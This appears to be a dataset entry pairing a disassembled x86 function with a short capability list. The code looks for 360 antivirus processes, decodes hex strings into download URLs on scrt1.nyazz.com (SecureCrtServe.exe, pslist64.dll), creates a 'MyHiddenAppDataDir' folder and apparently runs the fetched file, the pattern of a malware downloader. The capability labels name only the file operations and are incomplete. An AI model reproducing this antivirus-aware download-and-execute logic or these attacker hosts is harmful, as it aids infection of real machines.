Function at 0x100039a0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10033dc7
mov eax, dword fs:[0]
push eax
sub esp, 0x198
mov eax, dword [0x10042040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x12c], 0
push 0x1003d1a4
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x128], 0
movups xmmword [ebp - 0x13c], xmm0
call fcn.100081e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1a4]
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
push 0xb
push str.360tray.exe
movq qword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0
call fcn.100081e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18c]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x17c], 0
push str.360safe.exe
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
call fcn.100081e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
push str.360sd.exe
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
call fcn.100081e0
lea edi, [ebp - 0x1a4]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x34], 0
sub ecx, edi
mov dword [ebp - 0x30], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x2c], 0
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10003bab
cmp eax, 0xaaaaaaa
ja 0x100045f5
lea esi, [eax + eax*2]
shl esi, 3
mov dword [ebp - 0x144], esi
test esi, esi
je 0x10003b3b
cmp esi, 0x1000
jb 0x10003b30
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x100045fa
push eax
call fcn.1001474a
add esp, 4
test eax, eax
je 0x10004604
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x10003b3b
push esi
call fcn.1001474a
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x144]
lea eax, [ebp - 0x34]
add ecx, esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x140], eax
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movq qword [ebp - 0x58], xmm0
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x15c]
mov byte [ebp - 4], 5
cmp edi, eax
je 0x10003b9b
nop dword [eax + eax]
push edi
mov ecx, esi
call fcn.1000daf0
add esi, 0x18
lea eax, [ebp - 0x15c]
add edi, 0x18
mov dword [ebp - 0x54], esi
cmp edi, eax
jne 0x10003b80
push ecx
mov edx, esi
mov ecx, esi
call fcn.10008970
add esp, 4
mov dword [ebp - 0x30], esi
push 0x10005610
push 3
push 0x18
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 7
push eax
call fcn.1001477a
push 0x54
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
push str.68747470733A2F2F73637274312E6E79617A7A2E636F6D2F53656375726543727453657276652E657865
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x98], 0
movups xmmword [ebp - 0xac], xmm0
call fcn.100082d0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 8
call fcn.10002d70
test al, al
jne 0x10003c12
push 0x3c
push ecx
lea ecx, [ebp - 0xac]
call fcn.10007430
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x124]
call fcn.10002eb0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x28]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push str..exe
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
call fcn.100081e0
push ecx
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xdc]
call fcn.1000de40
add esp, 4
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x10003c9f
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003c95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
lea ecx, [ebp - 0x10c]
call fcn.10002a30
mov byte [ebp - 4], 0xd
mov esi, dword [ebp - 0xfc]
test esi, esi
jne 0x10003cd5
mov edx, 0x1003d2ac
mov ecx, 0x10043430
call fcn.100079f0
push eax
call fcn.10007c90
add esp, 4
jmp 0x10004464
push 0x12
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0
push str.MyHiddenAppDataDir
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xe0], 0
movups xmmword [ebp - 0xf4], xmm0
call fcn.100081e0
mov edi, 0x7ffffffe
mov byte [ebp - 4], 0xe
mov eax, edi
sub eax, esi
cmp eax, 1
jb 0x100045ff
cmp dword [ebp - 0xf8], 7
lea eax, [ebp - 0x10c]
push 1
cmova eax, dword [ebp - 0x10c]
push 0x1003d1a0
push esi
push eax
push ecx
push dword [ebp - 0x140]
lea ecx, [ebp - 0x28]
call fcn.10009870
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x4c]
call fcn.10007fe0
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x10003d9e
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003d94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004604
push ecx
push edx
call fcn.1001488f
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x38], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x4c]
cmova eax, dword [ebp - 0x4c]
push eax
mov dword [ebp - 0x14], 7
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10003dcd
test al, 0x10
je 0x10003e17
cmp dword [ebp - 0x38], 7
lea eax, [ebp - 0x4c]
push 0
cmova eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x10003e17
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003e17
push eax
mov edx, 0x1003d2f4
mov ecx, 0x10043430
call fcn.100079f0
mov ecx, eax
call fcn.10005370
push eax
call fcn.10007c90
add esp, 4
jmp 0x100043d6
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x4c]
call fcn.100035e0
mov ecx, dword [ebp - 0x3c]
mov eax, edi
sub eax, ecx
cmp eax, 1
jb 0x10004609
cmp dword [ebp - 0x38], 7
lea eax, [ebp - 0x4c]
push 1
cmova eax, dword [ebp - 0x4c]
push 0x1003d1a0
push ecx
push eax
push ecx
push dword [ebp - 0x140]
lea ecx, [ebp - 0x64]
call fcn.10009870
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 7
mov esi, dword [ebp - 0x54]
cmova ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0xcc]
sub eax, esi
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x144], esi
cmp edx, eax
ja 0x10003ed2
cmp dword [ebp - 0x50], 7
lea eax, [edx + esi]
mov dword [ebp - 0x54], eax
lea esi, [ebp - 0x64]
cmova esi, dword [ebp - 0x64]
mov eax, dword [ebp - 0x144]
lea ecx, [esi + eax*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x140]
push ecx
call fcn.10016030
mov eax, dword [ebp - 0xcc]
add esp, 0xc
add eax, dword [ebp - 0x144]
xor ecx, ecx
mov word [esi + eax*2], cx
lea eax, [ebp - 0x64]
jmp 0x10003eea
push edx
push ecx
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x64]
push dword [ebp - 0x140]
push edx
call fcn.1000a160
mov dword [ebp - 0x6c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x68], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x7c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x50]
cmp ecx, 7
jbe 0x10003f61
mov edx, dword [ebp - 0x64]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003f57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000460e
push ecx
push edx
call fcn.1001488f
add esp, 8
xor eax, eax
mov dword [ebp - 0x54], 0
lea edx, [ebp - 0x7c]
mov dword [ebp - 0x50], 7
lea ecx, [ebp - 0x124]
mov word [ebp - 0x64], ax
call fcn.10002b30
test al, al
jne 0x10003fa4
mov edx, 0x1003d310
mov ecx, 0x10043430
call fcn.100079f0
push eax
call fcn.10007c90
add esp, 4
jmp 0x10004388
lea ecx, [ebp - 0x34]
call fcn.10002d70
xorps xmm0, xmm0
test al, al
je 0x10004046
cmp dword [ebp - 0x68], 7
lea edx, [ebp - 0x7c]
movups xmmword [ebp - 0x28], xmm0
cmova edx, dword [ebp - 0x7c]
mov ecx, edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003fe0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.100081e0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x15
call fcn.10010300
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x10004304
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100042fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004613
jmp 0x100042fa
push 0x24
push str.https:__scrt1.nyazz.com_pslist64.dll
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xb4], 0
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb0], 0
call fcn.100081e0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x28]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push str.pslist64.dll
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
call fcn.100081e0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x3c]
sub edi, ecx
cmp edi, 1
jb 0x10004618
cmp dword [ebp - 0x38], 7
lea eax, [ebp - 0x4c]
push 1
cmova eax, dword [ebp - 0x4c]
push 0x1003d1a0
push ecx
push eax
push ecx
push dword [ebp - 0x140]
lea ecx, [ebp - 0x15c]
call fcn.10009870
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 7
mov edi, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14c]
cmova ecx, edi
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x18]
sub eax, esi
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x144], esi
cmp edx, eax
ja 0x10004155
cmp dword [ebp - 0x148], 7
lea eax, [edx + esi]
mov dword [ebp - 0x14c], eax
lea esi, [ebp - 0x15c]
cmova esi, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x144]
lea ecx, [esi + eax*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x140]
push ecx
call fcn.10016030
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, dword [ebp - 0x144]
xor ecx, ecx
mov word [esi + eax*2], cx
lea eax, [ebp - 0x15c]
jmp 0x10004173
push edx
push ecx
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x15c]
push dword [ebp - 0x140]
push edx
call fcn.1000a160
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x84], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x80], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x94], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x84], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x148]
cmp ecx, 7
jbe 0x100041fc
mov edx, dword [ebp - 0x15c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100041f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000461d
push ecx
push edx
call fcn.1001488f
add esp, 8
xor eax, eax
mov dword [ebp - 0x14c], 0
lea edx, [ebp - 0x94]
mov dword [ebp - 0x148], 7
lea ecx, [ebp - 0xc4]
mov word [ebp - 0x15c], ax
call fcn.10002b30
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x80]
cmp ecx, 7
jbe 0x1000426b
mov edx, dword [ebp - 0x94]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10004261
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004622
push ecx
push edx
call fcn.1001488f
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x16
mov word [ebp - 0x94], ax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 7
cmp eax, 7
jbe 0x100042c0
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x100042b6
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004622
push ecx
push edi
call fcn.1001488f
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0xb0]
cmp ecx, 7
jbe 0x10004304
mov edx, dword [ebp - 0xc4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100042fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004622
push ecx
push edx
call fcn.1001488f
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x68], 7
lea ecx, [ebp - 0x7c]
cmova ecx, dword [ebp - 0x7c]
call fcn.100031e0
test al, al
jne 0x10004388
mov edx, 0x1003d3a4
mov ecx, 0x10043430
call fcn.100079f0
push eax
call fcn.10007c90
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0xc4]
call fcn.10007890
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0xf
jbe 0x10004388
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000437e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0x68]
cmp ecx, 7
jbe 0x100043c2
mov edx, dword [ebp - 0x7c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100043b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
xor eax, eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], ax
mov ecx, dword [ebp - 0x38]
cmp ecx, 7
jbe 0x10004410
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10004406
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0xe0]
xor eax, eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 7
mov word [ebp - 0x4c], ax
cmp ecx, 7
jbe 0x10004464
mov edx, dword [ebp - 0xf4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000445a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0xf8]
cmp ecx, 7
jbe 0x100044a4
mov edx, dword [ebp - 0x10c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000449a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0xc8]
cmp ecx, 7
jbe 0x100044e4
mov edx, dword [ebp - 0xdc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100044da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0x110]
cmp ecx, 7
jbe 0x10004524
mov edx, dword [ebp - 0x124]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000451a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0x98]
xor eax, eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 7
mov word [ebp - 0x124], ax
cmp ecx, 0xf
jbe 0x1000457b
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004571
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0xf
mov byte [ebp - 0xac], 0
call fcn.100068e0
mov ecx, dword [ebp - 0x128]
cmp ecx, 7
jbe 0x100045da
mov edx, dword [ebp - 0x13c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100045d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004627
push ecx
push edx
call fcn.1001488f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10014737
mov esp, ebp
pop ebp
ret
call fcn.10009be0
call fcn.10001390
call fcn.10001430
call fcn.1001ee96
call fcn.10001430
call fcn.1001ee96
call fcn.1001ee96
call fcn.10001430
call fcn.1001ee96
call fcn.1001ee96
call fcn.1001ee96
int3